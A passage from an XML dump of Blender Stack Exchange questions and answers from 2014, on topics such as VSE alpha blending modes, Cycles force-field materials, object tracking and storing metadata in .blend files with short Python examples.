LastEditorUserId="3401" LastEditDate="2015-08-19T02:16:13.190" LastActivityDate="2016-05-24T23:40:47.417" Title="Metadata / notes / comments in .blend files?" Tags="&lt;file-format&gt;&lt;blend-files&gt;" AnswerCount="4" CommentCount="8" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15730" PostTypeId="1" AcceptedAnswerId="15781" CreationDate="2014-09-10T12:49:28.003" Score="12" ViewCount="1631" Body="&lt;p&gt;They are three modes in VSE. I think I know what the Alpha Over and Alpha Under do. But I'm still puzzling when trying to understand what the key difference the &lt;strong&gt;Over Drop&lt;/strong&gt; is from the other two. I've looked them up in BlenderWiki &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Sequencer/Effects#Alpha_Over.2C_Under.2C_and_Over_Drop_Built-in_Effects&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, but still no clue. Can any one tell more about this mode? Illustration or blend file would be much helpful here.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-05-17T06:35:19.257" LastActivityDate="2016-05-17T06:35:19.257" Title="What is the difference among Alpha Over / Alpha Under / Over Drop?" Tags="&lt;video-sequence-editor&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15731" PostTypeId="1" CreationDate="2014-09-10T12:50:58.763" Score="0" ViewCount="70" Body="&lt;p&gt;I'm new to blender and im trying to put an image into blender. These are the steps I'm taking: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; to add an image in&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;N&lt;/kbd&gt; to bring the properties panel&lt;/li&gt;&#xA;&lt;li&gt;enable background image&lt;/li&gt;&#xA;&lt;li&gt;than chose the image I want&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;is there a step I'm missing?&#xA;I've seen multiple questions on this but I just can't work them out&#xA;I am in in orthographic view but the image doesn't show up.&#xA;I want to use it so that I can make a rig and compare it&lt;/p&gt;&#xA;" OwnerUserId="5975" LastEditorUserId="5975" LastEditDate="2014-09-11T08:47:18.753" LastActivityDate="2014-09-11T08:47:18.753" Title="How to add a background image into blender?" Tags="&lt;3d-view&gt;&lt;image&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-09-10T16:33:25.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="15732" PostTypeId="2" ParentId="15728" CreationDate="2014-09-10T12:57:31.957" Score="8" Body="&lt;p&gt;Creating a group-instance is a different thing from creating a linked duplicate.&#xA;When you create a linked duplicate, the object data is shared between the two objects, but each object can be transformed or changed with modifiers without affecting the other.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Q6ech.png&quot; alt=&quot;linked duplicate selection&quot;&gt; &#xA;group instances, on the other hand inherit all of the geometry and data characteristics of their defining group of objects and also inherit their transforms with respect to the scene origin, not the group objects center.&#xA;The empty of the group instance acts as an additional displacement gizmo so that you can transform the instance, but moving the parent objects in the global coordinate system will propagate that change to the group instances.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C5EFM.png&quot; alt=&quot;instance geoemtry is located from the proxy the same way grouped objects are located from the scene origin&quot;&gt;&#xA;Unfortunately, there's no such thing as a group origin-even a temporary one, so you can't produce a group instance that doesn't behave this way.  Programs like AutoCAD have what are called 'blocks' which are collections of entities with a local coordinate system so that you can instance and transform them.  AutoCAD stores block data in a non-graphical part of its and replaces the defining geoemtry with an instance of the block.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4rsCK.png&quot; alt=&quot;AutoCAD workalike block definition dialog&quot;&gt;&#xA;You acheive this same effect in blender by creating a group in a seperate blend file and then instancing it in your scene.&#xA;It's not always convenient to have a file link between a group definition and an instance of the group, so what I've generally done is assign my grouped objects to a layer that's turned off or create them in a new scene and then use instances everywhere in the layout scene. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/PahKp.png&quot; alt=&quot;scene with group def and layout scene with instances&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-09-10T12:57:31.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15733" PostTypeId="2" ParentId="15730" CreationDate="2014-09-10T13:00:13.840" Score="2" Body="&lt;p&gt;It makes the top strip apply to the foreground, using the bottom strip's alpha.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Alpha Over Drop is between the two others: as with Alpha Under, the first strip selected will be the foreground, but as with Alpha Over, the Factor controls the transparency of this foreground.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Essentially, it multiplies the first strip with the alpha of the second one.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-10T13:00:13.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15734" PostTypeId="2" ParentId="15712" CreationDate="2014-09-10T13:32:31.330" Score="3" Body="&lt;p&gt;Another way to merge two cubes. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the face of the cube that you want to merge with the other cube. &lt;/li&gt;&#xA;&lt;li&gt;Change snapping mode to &lt;em&gt;Edges&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;. Turn snapping on with &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;. (Both are also accessed in the 3D view header)&lt;/li&gt;&#xA;&lt;li&gt;Move the face with &lt;kbd&gt;G&lt;/kbd&gt;, constrain the movement along the axis (in your example the Y axis).&lt;/li&gt;&#xA;&lt;li&gt;Select everything with &lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;; then press &lt;kbd&gt;W&lt;/kbd&gt; and choose &lt;em&gt;Remove Doubles&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-10T13:32:31.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15735" PostTypeId="2" ParentId="15729" CreationDate="2014-09-10T14:41:24.367" Score="2" Body="&lt;p&gt;As someonewithpc commented, you want the Text Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Text_editor&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Text_editor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-09-10T14:41:24.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15736" PostTypeId="2" ParentId="15718" CreationDate="2014-09-10T15:00:57.910" Score="3" Body="&lt;p&gt;You can change the background color by modifying the environment by going to the World tab in the Properties pane.&#xA;In cycles, change the environment surface color.  Turn off everything except camera in in the Ray Visibility panel to prevent the environment from affecting your scene.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mAgoP.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;If you're using Blender Internal renderer, then instead of setting ray visibility, you'll need to set the alpha chanel to display the sky color.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VXsUQ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;The downside of all of this is that you lose the ability to control lighting using the sky map.  If that's a problem, the using the compositor to add a backdrop to your renders is the way to go-and this kind of task makes for a good introduction to the compositor.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-09-10T15:00:57.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15737" PostTypeId="1" AcceptedAnswerId="15742" CreationDate="2014-09-10T15:11:45.293" Score="13" ViewCount="9537" Body="&lt;p&gt;Hello mates im in Search of the answer to how to create a Material that looks like sci fi energetic/plasma/force field  in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some Pictures of what i mean in general&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/adwxD.jpg&quot; alt=&quot;Perfect example of what i mean look at that door screen taken from marvel heroes 2015&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDpRz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3cuNU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9KiaM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="5980" LastEditDate="2014-09-11T10:37:31.600" LastActivityDate="2017-08-02T20:51:11.187" Title="How to Create an Sci Fi &quot;Plasma/Energetic/Force Field&quot; Material in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="15738" PostTypeId="1" AcceptedAnswerId="21768" CreationDate="2014-09-10T15:21:21.037" Score="6" ViewCount="1082" Body="&lt;p&gt;Is there any way to render Freestyle edges according to their real visibility on camera, by taking in consideration the alpha transparency maps of occluding objects, without compositing multiple render layers ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is scenarios where compositing RenderLayers cannot be done, because the occluding object surrounds the target (ex. particle field) or because of the scene complexity (too much objects, camera paths...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following example, green strokes aren't rendered when occluded by the plane with a red overlay that uses Z transparency and a circle texture as alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/SjOBk44.gif&quot; alt=&quot;freestyle alpha visibility&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5979" LastEditorUserId="5979" LastEditDate="2018-08-02T12:34:18.900" LastActivityDate="2018-08-02T12:34:18.900" Title="Rendering Freestyle strokes behind objects using alpha transparency" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15739" PostTypeId="2" ParentId="15698" CreationDate="2014-09-10T15:39:21.863" Score="2" Body="&lt;p&gt;I do not have a straight out easy solution, but i can think of a 2 ways of doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do all the STL files have the same number of Vertices and faces? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the number of Vertices and Faces dont change, I would suggest a python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first have a look at the AnimAll addon that comes with blender. you just have to enable it in your user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/AnimAll&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/AnimAll&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;write a script that does the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;imports the first STL frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;call:&lt;/p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy.ops.anim.insert_keyframe_animall()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then for each frame after that:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;import the STL File for that frame.&lt;/li&gt;&#xA;&lt;li&gt;change the positions of each vertex in the main object to that in the frame imported.&lt;/li&gt;&#xA;&lt;li&gt;call:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy.ops.anim.insert_keyframe_animall()&lt;/li&gt;&#xA;  &lt;li&gt;delete the STL frame imported.&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That way all your frames will be in the same object, and show up as keyframes in the animation editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes that the STL files have kept the vertices order the same, otherwise this method will not work and your imported animation will just jump all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?252844-Script-Meshfoot-OBJ-Sequence-Manager-%28For-Blender-2.6.2%29&quot; rel=&quot;nofollow&quot;&gt;MeshFoot addon&lt;/a&gt; which will import a sequence of OBJ files, however it does not work with STL files, so you would have to modify the code to get it working with STL files.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2014-09-10T15:39:21.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15740" PostTypeId="1" CreationDate="2014-09-10T15:42:32.077" Score="1" ViewCount="94" Body="&lt;p&gt;Is there a way one can combine all textures that are applied to a mesh's faces in a texture atlas in blender and export said atlas as .png alongside an .obj for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there a way one can map textures of a texture atlas to a mesh's faces in blender? (I believe this process might be called 'uv mapping', but how does one apply images to the unwrapped 2d image?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a sample atlas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnVfa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should any of this be possible, do you know of any tutorials that explain the process in detail?&lt;/p&gt;&#xA;" OwnerUserId="5976" LastActivityDate="2014-09-10T15:42:32.077" Title="How to export textures applied to a mesh's faces in a texture atlas" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-12T04:12:54.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="15741" PostTypeId="1" AcceptedAnswerId="15743" CreationDate="2014-09-10T16:04:52.897" Score="1" ViewCount="699" Body="&lt;p&gt;I'm trying to do &lt;strong&gt;object tracking&lt;/strong&gt; using Blender 2.71. In a youtube video the guy simply clicks &quot;Object Motion&quot; in the Solve tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His Screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3NzEV.png&quot; alt=&quot;His Screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mZF5W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BwpSR.png&quot; alt=&quot;My Screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me please?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorDisplayName="user1853" LastEditDate="2014-09-12T06:37:27.220" LastActivityDate="2014-09-12T06:37:27.220" Title="Object Solve option not avaliable" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15742" PostTypeId="2" ParentId="15737" CreationDate="2014-09-10T20:15:54.247" Score="27" Body="&lt;p&gt;You could try a setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JyiS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6hBIW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6hBIW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you animate some of the mapping nodes, you can get an effect like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/GrimFaroffJaeger&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/GrimFaroffJaeger.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The essentially part of the rather largish setup above is in the screenshot below.&#xA;The only difference between the nodes below and the largish shader is that the latter has a texture controlling the intensity/color of the emission shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZKTU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These nodes mix an emission shader with a transparent shader based on the angle of the surface to the camera (details &lt;a href=&quot;https://graphicdesign.stackexchange.com/a/31984/14863&quot;&gt;here&lt;/a&gt;). It also makes backfaces (faces facing away from the camera) transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The large setup has a mixture of procedural textures controlling multiple emission shaders which are added together in place of the single emission shader in the setup above.&lt;br&gt;&#xA;Of course, you can use any texture setup you want, even image textures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making a hexagonal procedural texture will probably be tricky with the current selection of procedural textures available in cycles, so you are probably best off either making the object's topology in the shape of hexagons, or using an image texture.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that if you have a more complex object in place of a sphere, skipping backfaces might not be enough to avoid rendering faces not directly visible to the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using the setup from my answer &lt;a href=&quot;https://graphicdesign.stackexchange.com/a/31984/14863&quot;&gt;here&lt;/a&gt;, this can be made to work on more complex objects:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To get rid of the geometry behind the rest of the model, you can use&#xA;  the &lt;em&gt;Transparent depth&lt;/em&gt; output of the lightpath node (note that this&#xA;  output is only available in the &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;latest development versions of&#xA;  blender&lt;/a&gt;, but it will be&#xA;  in 2.71)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This value goes up based on the number of &quot;transparent bounces&quot; (a&#xA;  transparent bounce refers to the sampling ray passing through a&#xA;  transparent layer/surface of the mesh). Since we only want to see the&#xA;  top layer, we can use a &lt;em&gt;Less than&lt;/em&gt; math node and a &lt;em&gt;mix shader&lt;/em&gt; node&#xA;  to make every bounce past the first bounce (bounce 0) will use only&#xA;  the completely transparent shader (&lt;em&gt;Transparent Depth&lt;/em&gt; is never&#xA;  negative, so this is basically testing if it's equal to 0).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MyDFA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For comparison here is a gif demonstrating the difference between only hiding backfaces and hiding all faces invisible to the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3KwLQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/3631/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=3631&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2017-08-02T20:51:11.187" LastActivityDate="2017-08-02T20:51:11.187" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="15743" PostTypeId="2" ParentId="15741" CreationDate="2014-09-10T20:55:05.913" Score="6" Body="&lt;p&gt;By default, motion tracking is set up to &lt;strong&gt;solve camera motion&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mUkZH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable &lt;strong&gt;object solving&lt;/strong&gt; mode you need to click on the plus sign of the Objects Tab on the right side of the screen (if it's not visible press &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ecz1a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and select &lt;strong&gt;Object&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/drEsO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;Solve Object Motion&lt;/strong&gt; is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Povr4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-11T03:47:59.453" LastActivityDate="2014-09-11T03:47:59.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15744" PostTypeId="1" CreationDate="2014-09-10T21:26:48.230" Score="0" ViewCount="200" Body="&lt;p&gt;I have made API defined custom RNA Properties in my Scene automatically added to a selected Object (not the Mesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I save the scene and restart Blender, they are already visible but the boolean properties where converted to integers and they are no more linked to the drivers where I defined them for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for adding a driver target (property link to driver):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Define a new Driver Target &#xA;SubsurfViewTar = SubsurfViewVar.targets[0]                                  &#xA;#Define a new Driver id Type&#xA;SubsurfViewTar.id_type = 'OBJECT'                                           &#xA;#Define the Object which contains the custom property which drives the Property&#xA;SubsurfViewTar.id = bpy.data.objects[GrpName]                               &#xA;#Define the Custom Property of the object&#xA;SubsurfViewTar.data_path = &quot;View_Resolution&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5885" LastEditorUserId="1363" LastEditDate="2014-09-11T21:45:22.457" LastActivityDate="2014-09-11T21:45:22.457" Title="Custom Properties converted to integers and driver links lost after restart" Tags="&lt;properties&gt;&lt;drivers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15745" PostTypeId="2" ParentId="15729" CreationDate="2014-09-10T23:23:02.840" Score="7" Body="&lt;p&gt;Its quite common just to distribute a text block with some plain text information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some options you have for storing more structured meta-data in a Blend file.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Text-Block&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You might want to use JSON/XML/MIME encoding to dump your data to this in your own format which you can read back.&lt;/li&gt;&#xA;&lt;li&gt;Text blocks can be hidden &lt;em&gt;(indeed any data-blocks)&lt;/em&gt;,&lt;br&gt; by starting the name with a &lt;code&gt;.&lt;/code&gt; - &lt;em&gt;Unix .convention&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import json&#xA;metadata = dict(author=&quot;Me&quot;, date=&quot;Today&quot;, rating=100)&#xA;&#xA;# hidden text block&#xA;text = bpy.data.texts.new(&quot;.metadata&quot;)&#xA;text.write(json.dumps(metadata))&#xA;&#xA;# print it back out&#xA;print(text.as_string())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID Properties&#xA;&lt;ul&gt;&#xA;&lt;li&gt;attach a dictionary like object to any data-block.&lt;/li&gt;&#xA;&lt;li&gt;only support primitive data types &lt;code&gt;str,int,float,dict,array&lt;/code&gt; - but can be nested.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;metadata = dict(author=&quot;Me&quot;, date=&quot;Today&quot;, rating=100)&#xA;# attach to current Scene&#xA;scene = bpy.context.scene&#xA;scene[&quot;metadata&quot;] = metadata&#xA;&#xA;# print it back out&#xA;print(scene[&quot;metadata&quot;].to_dict())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Neither of these options are especially easy to extract from the Blend file without loading the file in Blender first, however it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://developer.blender.org/diffusion/BAM/browse/master/bam/blend/blendfile.py&quot; rel=&quot;noreferrer&quot;&gt;https://developer.blender.org/diffusion/BAM/browse/master/bam/blend/blendfile.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-06-06T15:26:37.940" LastActivityDate="2015-06-06T15:26:37.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15746" PostTypeId="1" AcceptedAnswerId="15757" CreationDate="2014-09-11T03:27:39.030" Score="6" ViewCount="15680" Body="&lt;p&gt;In the animation I want rotation locked to a single local axis like when you press &lt;kbd&gt;R&lt;/kbd&gt; then &lt;kbd&gt;X&lt;/kbd&gt; twice to rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be a wheel rotating on an axle.&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="241" LastEditDate="2014-09-11T12:38:14.490" LastActivityDate="2017-08-16T11:19:07.350" Title="How to animate object rotation on a single local axis when local and global axis not aligned?" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15748" PostTypeId="1" CreationDate="2014-09-11T07:26:55.867" Score="1" ViewCount="91" Body="&lt;p&gt;Basically, I am making a weapon for Skyrim, I already finished the mesh itself and used the cycles render materials and surface nodes as the texture. Now, I have run into a wall, I can't seem to find a way to export the existing texture . Is there a way to do this or is this an exercise in futility? &lt;/p&gt;&#xA;" OwnerUserId="5987" LastActivityDate="2014-09-11T07:26:55.867" Title="Is there a way to export the built in textures as a UV map?" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-09-12T04:13:07.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="15749" PostTypeId="2" ParentId="15746" CreationDate="2014-09-11T10:38:53.700" Score="3" Body="&lt;p&gt;I would add an armature to the object. The armature only needs to have a single bone that is aligned to the objects axis and you can parent your object to the bone without bothering with weight painting. The bone can then easily be animated on it's axis and if you use Euler rotation you can have one f-curve to adjust the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RdS8v.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transform locks can also limit the possible rotations if you only want to rotate on one axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l1G45.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-11T10:38:53.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15751" PostTypeId="1" CreationDate="2014-09-11T14:01:14.250" Score="3" ViewCount="263" Body="&lt;p&gt;&lt;strong&gt;Use case / goal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the images below.&#xA;The green plane is attached to a target, the grey sphere, and is facing the camera, but its orientation change depending on witch side of the target the camera is looking at. The plane and target orientations are indicated by colored arrows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The illustration below uses keyframes to switch the green plane orientation, the goal would be to completely automatize this reaction.&#xA;It would be implemented on top of a complex setup, and need to give correct result in any possible orientation context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/5oP9uVk.gif&quot; alt=&quot;a plane facing camera switch its orientation depending on witch side it&amp;#39;s looked at&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/XJcwcwo.gif&quot; alt=&quot;a plane facing camera switch its orientation depending on witch side it&amp;#39;s looked at&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tried setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether the first part of the job (facing the camera) have been done, the problem is to define the right moment to switch from a side to another :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;By using a constraint on the green plan, for example a Locked Track, the constraint axis need then to be switched (from &quot;Z&quot; to &quot;-Z&quot; for example) according to which side of the object is looked 